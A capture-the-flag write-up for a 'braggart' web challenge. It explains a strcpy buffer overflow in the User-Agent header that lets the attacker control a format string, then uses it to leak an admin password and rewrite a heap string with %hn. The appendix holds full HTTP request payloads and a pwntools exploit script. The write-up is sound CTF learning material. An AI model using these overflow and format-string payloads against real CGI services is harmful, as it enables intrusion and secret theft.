This guy keeps bragging about keeping us out of his secrets.
It's annoying.
Get the flag please.
https://nessus-braggart.chals.io
I didn't solve this challenge by myself, most of the credit goes to kos0ngand dmcr7who found the main vulnerability and craft the final exploit. The purpose of this writeup is to strengthen my understanding and hopefully the readers as well. Although the exploit might seem trivial, to properly execute it gave me a new perspective towards the various attack vectors, reconnaissance and information gathering that could be done in a real life scenario.
Solution
Analysis
Visiting the link given, we are shown the following page
clicking backup will download the binary that seems to be running the website for us. Below is the decompiled main function using ghidra.
Any subsequent decompiled code showed below will have part that are deemed unnecessary or irrelevant removed.
The only way that we can affect the program's behaviour is through the environment variables. To the remote server some of the env are pre-configured and some we can interact through the HTTP header. Below we try to enabled the debug mode, notice it returns more data than before.
With the help of pwntools we can also interact locally with the binary and set up the environment variables as we wish as we will experiment.
This function simply opens a file named brag and prints its content. Its seems this is our goal to gain the flag. However in order for program to execute we need to provide the correct password
This function takes the some metadata within the HTTP request we made and prints it. However there's two vulnerability here:
Buffer Overflow: considering User-Agent is within our control, we're able to abuse strcpy() and trigger a buffer overflow since there's no check on how length of User-Agent we're able to provide.
Format String: this stems from the buffer overflow, since the string for the format specifier is being loaded from the stack we're able to overwrite it and craft a format string of our own.
Exploitation
Initially we spend much of our time figuring how to bypass the CONTENT-LENGTH check to gain buffer overflow. After discovering the two strong primitives, we start to fuzz the binary and leak the stack and leak the environment variables loaded. Below is the payload used to overwrite the format specifier to leak the stack:
padding * 1008 + %1$p%{offset}$s
We can see at offset 328 we are able to leak the password. Next is just to ran the it against the server, however we want to fuzz around the local offset taking account of different factors such as libc version that could affect the difference between the offset at local and remote.
For example, if our target is at the offset of 325, we would fuzz at the target server between 315 - 335
I will utilise Burpsuite's intruder to fuzz against the remote server
Now we just need to give the password to the server... right...?
Apparently, the flag is in a different file. At this point, I fuzz a bit more to gain more knowledge I needed to retrieve the flag. Using the same methodology above, were able to gain the following information against the remote server:
Found at offset-325, env AdminPass=xbYP3h7Ua94c
Found at offset-267, the string brag
Found at offset-326, env workingDir=/home/ctf/
Then since we have a format string primitive, we are able to overwrite memory and somehow we need to overwrite brag with flag. Taking a look back at the printSecrets(), the string is being allocated through malloc, and since that pointer is available in the stack at offset 267, we're able to reference that pointer to overwrite the brag string.
Recall since we leaking the stack using $s, which takes pointer to a char. Means if the printed value at 267 is brag, that means the value at that offset is the pointer to the heap that contains the string
Next, to further improve efficiency, since flag in hex is 0x67616c66 or 1734437990 in decimal. It would take quite a long time to print the characters and potentially timing out our request. To get around this, since the last two character i.e ag is the same, we would only need overwrite the first two byte to fl which in hex is 0x6c66 or 27750 in decimal. Thus our final payload would be:
%27750c%267$hn
Appendix
Leak Password
GET /sec.cgi HTTP/1.1Host:nessus-braggart.chals.ioUser-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%1$p%325$s
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateUpgrade-Insecure-Requests:1X-Debug:1Sec-Fetch-Dest:documentSec-Fetch-Mode:navigateSec-Fetch-Site:same-originSec-Fetch-User:?1Te:trailersConnection:close
Final Exploit
GET /sec.cgi HTTP/1.1Host:nessus-braggart.chals.ioUser-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27750c%267$hn
X-Debug:1X-Password:xbYP3h7Ua94cAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateUpgrade-Insecure-Requests:1Sec-Fetch-Dest:documentSec-Fetch-Mode:navigateSec-Fetch-Site:same-originSec-Fetch-User:?1Te:trailersConnection:close
Local Testing Script
Exploit.py
#!usr/bin/python3from pwn import*# =========================================================# SETUP # =========================================================exe ='./sec.bak'elf = context.binary =ELF(exe, checksec=True)context.log_level ='warn'# =========================================================# FUZZ ENV# =========================================================# found remote AdminPass offset at 325# found local AdminPass offset at 328# found both (char *) to string 'brag' at 267 # found remote workingDir=/home/ctf/ at offset 326AdminPass ="xbYP3h7Ua94c"for i inrange(0, 400): payload =b'A'*1008 payload +=f'%1$p %{i}$s'.encode() env ={"QUERY_STRING":"","REQUEST_METHOD":"","HTTP_X_DEBUG":"1","AdminPass":"SomethingSecure","HTTP_X_PASSWORD":"unknown","REMOTE_ADDR":"127.0.0.1","HTTP_USER_AGENT": payload} io =process(exe, env=env)try: io.recvuntil(b'User Agent : </h3>') leak = io.recvuntil(b'</pre>', drop=True).strip()warn('leak-%d: %s', i, leak) io.close()exceptBaseExceptionorEOFError: io.close()pass# =========================================================# FINAL EXPLOIT# =========================================================payload =b'A'*1008payload +=f'%27750c%267$hn'.encode()env ={"QUERY_STRING":"","REQUEST_METHOD":"GET","HTTP_X_DEBUG":"1","AdminPass":"xbYP3h7Ua94c","HTTP_X_PASSWORD":"xbYP3h7Ua94c","CONTENT_LENGTH":"","workingDir":"/home/kali/","REMOTE_ADDR":"127.0.0.1","HTTP_USER_AGENT": payload}io =process(exe, env=env)print(io.recv())io.interactive()